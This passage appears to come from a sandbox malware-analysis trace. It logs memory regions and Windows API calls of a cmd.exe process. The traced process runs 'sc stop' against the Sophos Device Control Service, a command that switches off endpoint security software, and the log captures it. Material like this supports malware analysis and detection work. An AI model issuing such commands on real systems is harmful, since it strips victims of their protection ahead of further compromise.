end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3247 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3248 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 3249 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3250 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3251 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3252 start_va = 0x7a0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 3253 start_va = 0x1ba0000 end_va = 0x1ee2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ba0000" filename = "" Region: id = 3254 start_va = 0x1ef0000 end_va = 0x21befff entry_point = 0x1ef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 134 os_tid = 0x844 [0060.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x33fac4 | out: lpSystemTimeAsFileTime=0x33fac4*(dwLowDateTime=0xdf1d6a20, dwHighDateTime=0x1d4abdd)) [0060.910] GetCurrentProcessId () returned 0x834 [0060.910] GetCurrentThreadId () returned 0x844 [0060.910] GetTickCount () returned 0x1ca7f [0060.910] QueryPerformanceCounter (in: lpPerformanceCount=0x33fabc | out: lpPerformanceCount=0x33fabc*=1813614000000) returned 1 [0060.912] GetModuleHandleA (lpModuleName=0x0) returned 0x49dd0000 [0060.912] __set_app_type (_Type=0x1) [0060.912] __p__fmode () returned 0x75ed31f4 [0060.912] __p__commode () returned 0x75ed31fc [0060.912] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49df21a6) returned 0x0 [0060.912] __getmainargs (in: _Argc=0x49df4238, _Argv=0x49df4240, _Env=0x49df423c, _DoWildCard=0, _StartInfo=0x49df4140 | out: _Argc=0x49df4238, _Argv=0x49df4240, _Env=0x49df423c) returned 0 [0060.912] GetCurrentThreadId () returned 0x844 [0060.912] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x844) returned 0x60 [0060.913] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.913] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0060.913] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.915] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.915] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x33fa54 | out: phkResult=0x33fa54*=0x0) returned 0x2 [0060.915] VirtualQuery (in: lpAddress=0x33fa8b, lpBuffer=0x33fa24, dwLength=0x1c | out: lpBuffer=0x33fa24*(BaseAddress=0x33f000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.915] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x33fa24, dwLength=0x1c | out: lpBuffer=0x33fa24*(BaseAddress=0x240000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0060.915] VirtualQuery (in: lpAddress=0x241000, lpBuffer=0x33fa24, dwLength=0x1c | out: lpBuffer=0x33fa24*(BaseAddress=0x241000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0060.915] VirtualQuery (in: lpAddress=0x243000, lpBuffer=0x33fa24, dwLength=0x1c | out: lpBuffer=0x33fa24*(BaseAddress=0x243000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.915] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x33fa24, dwLength=0x1c | out: lpBuffer=0x33fa24*(BaseAddress=0x340000, AllocationBase=0x340000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0060.915] GetConsoleOutputCP () returned 0x1b5 [0060.915] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0060.915] SetConsoleCtrlHandler (HandlerRoutine=0x49dee72a, Add=1) returned 1 [0060.915] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.915] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0060.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.916] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49df41ac | out: lpMode=0x49df41ac) returned 1 [0060.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.916] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.916] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.916] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49df41b0 | out: lpMode=0x49df41b0) returned 1 [0060.916] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.917] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0060.917] GetEnvironmentStringsW () returned 0x102b58* [0060.917] FreeEnvironmentStringsW (penv=0x102b58) returned 1 [0060.917] GetEnvironmentStringsW () returned 0x102b58* [0060.917] FreeEnvironmentStringsW (penv=0x102b58) returned 1 [0060.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e9c4 | out: phkResult=0x33e9c4*=0x6c) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x32, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x1, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x1, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x0, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x40, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x40, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x40, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.918] RegCloseKey (hKey=0x6c) returned 0x0 [0060.918] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e9c4 | out: phkResult=0x33e9c4*=0x6c) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x40, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x1, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x1, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x0, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x9, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.918] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x4, lpData=0x33e9d0*=0x9, lpcbData=0x33e9c8*=0x4) returned 0x0 [0060.919] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e9cc, lpData=0x33e9d0, lpcbData=0x33e9c8*=0x1000 | out: lpType=0x33e9cc*=0x0, lpData=0x33e9d0*=0x9, lpcbData=0x33e9c8*=0x1000) returned 0x2 [0060.919] RegCloseKey (hKey=0x6c) returned 0x0 [0060.919] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5b [0060.919] srand (_Seed=0x5c3c3f5b) [0060.919] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Device Control Service\" /y" [0060.919] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Device Control Service\" /y" [0060.919] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49df5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.919] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x104be8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0060.919] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.919] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.919] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.919] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0060.919] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0060.919] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0060.919] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0060.920] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0060.920] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0060.920] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0060.920] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0060.920] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0060.920] GetEnvironmentStringsW () returned 0x102b58* [0060.920] FreeEnvironmentStringsW (penv=0x102b58) returned 1 [0060.920] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.920] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.920] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0060.921] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0060.921] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0060.921] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0060.921] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0060.921] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0060.921] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0060.921] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0060.921] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x33f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x33f790, lpFilePart=0x33f78c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33f78c*="Desktop") returned 0x25 [0060.921] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.921] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x33f50c | out: lpFindFileData=0x33f50c) returned 0x101df0 [0060.921] FindClose (in: hFindFile=0x101df0 | out: hFindFile=0x101df0) returned 1 [0060.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x33f50c | out: lpFindFileData=0x33f50c) returned 0x101df0 [0060.921] FindClose (in: hFindFile=0x101df0 | out: hFindFile=0x101df0) returned 1 [0060.922] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0060.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x33f50c | out: lpFindFileData=0x33f50c) returned 0x101df0 [0060.922] FindClose (in: hFindFile=0x101df0 | out: hFindFile=0x101df0) returned 1 [0060.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.922] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0060.922] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0060.922] GetEnvironmentStringsW () returned 0x102b58* [0060.922] FreeEnvironmentStringsW (penv=0x102b58) returned 1 [0060.922] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49df5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.923] GetConsoleOutputCP () returned 0x1b5 [0060.923] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0060.923] GetUserDefaultLCID () returned 0x409 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49df4950, cchData=8 | out: lpLCData=":") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x33f8d0, cchData=128 | out: lpLCData="0") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x33f8d0, cchData=128 | out: lpLCData="0") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x33f8d0, cchData=128 | out: lpLCData="1") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49df4940, cchData=8 | out: lpLCData="/") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49df4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49df4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49df4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49df4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49df4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49df4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49df4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49df4930, cchData=8 | out: lpLCData=".") returned 2 [0060.924] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49df4920, cchData=8 | out: lpLCData=",") returned 2 [0060.924] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0060.926] GetConsoleTitleW (in: lpConsoleTitle=0x105938, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.926] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.926] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0060.926] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0060.926] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0060.927] _wcsicmp (_String1="sc", _String2=")") returned 74 [0060.927] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0060.927] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0060.927] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0060.927] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0060.927] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0060.927] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0060.929] GetConsoleTitleW (in: lpConsoleTitle=0x33f5c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.929] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.929] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.929] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.929] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.929] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.929] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.929] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.929] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.929] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.929] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.929] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.929] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.929] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.929] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.929] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.929] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.929] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.929] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.930] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.930] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.930] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.930] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.930] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.930] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.930] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.930] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.930] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.930] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.930] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.930] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.930] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.930] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.930] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.930] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.930] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.930] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.930] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.930] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.930] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.930] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.930] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.930] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.930] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.930] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.930] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.931] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.931] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.931] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.931] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.931] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.931] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.931] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.931] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.931] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.931] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.931] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.931] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.931] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.931] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.931] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.931] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.931] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.931] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.931] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.931] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.931] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.931] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.931] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.931] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.931] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.931] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.931] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.931] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.931] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.931] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.931] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.931] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.931] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.932] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.932] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0060.932] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0060.932] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0060.932] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0060.932] SetErrorMode (uMode=0x0) returned 0x0 [0060.932] SetErrorMode (uMode=0x1) returned 0x0 [0060.932] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x105ea0, lpFilePart=0x33f0e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33f0e8*="Desktop") returned 0x25 [0060.932] SetErrorMode (uMode=0x0) returned 0x1 [0060.932] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.932] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.954] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.956] InitializeProcThreadAttributeList (in: lpAttributeList=0x33f1e4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x33f2ac | out: lpAttributeList=0x33f1e4, lpSize=0x33f2ac) returned 1 [0060.956] UpdateProcThreadAttribute (in: lpAttributeList=0x33f1e4, dwFlags=0x0, Attribute=0x60001, lpValue=0x33f2a4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x33f1e4, lpPreviousValue=0x0) returned 1 [0060.956] GetStartupInfoW (in: lpStartupInfo=0x33f1a0 | out: lpStartupInfo=0x33f1a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0xf19e6, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.956] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0060.957] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos Device Control Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x33f240*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos Device Control Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x33f28c | out: lpCommandLine="sc stop \"Sophos Device Control Service\" /y", lpProcessInformation=0x33f28c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x5b0, dwThreadId=0x5b8)) returned 1 [0060.962] CloseHandle (hObject=0x78) returned 1 [0060.962] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 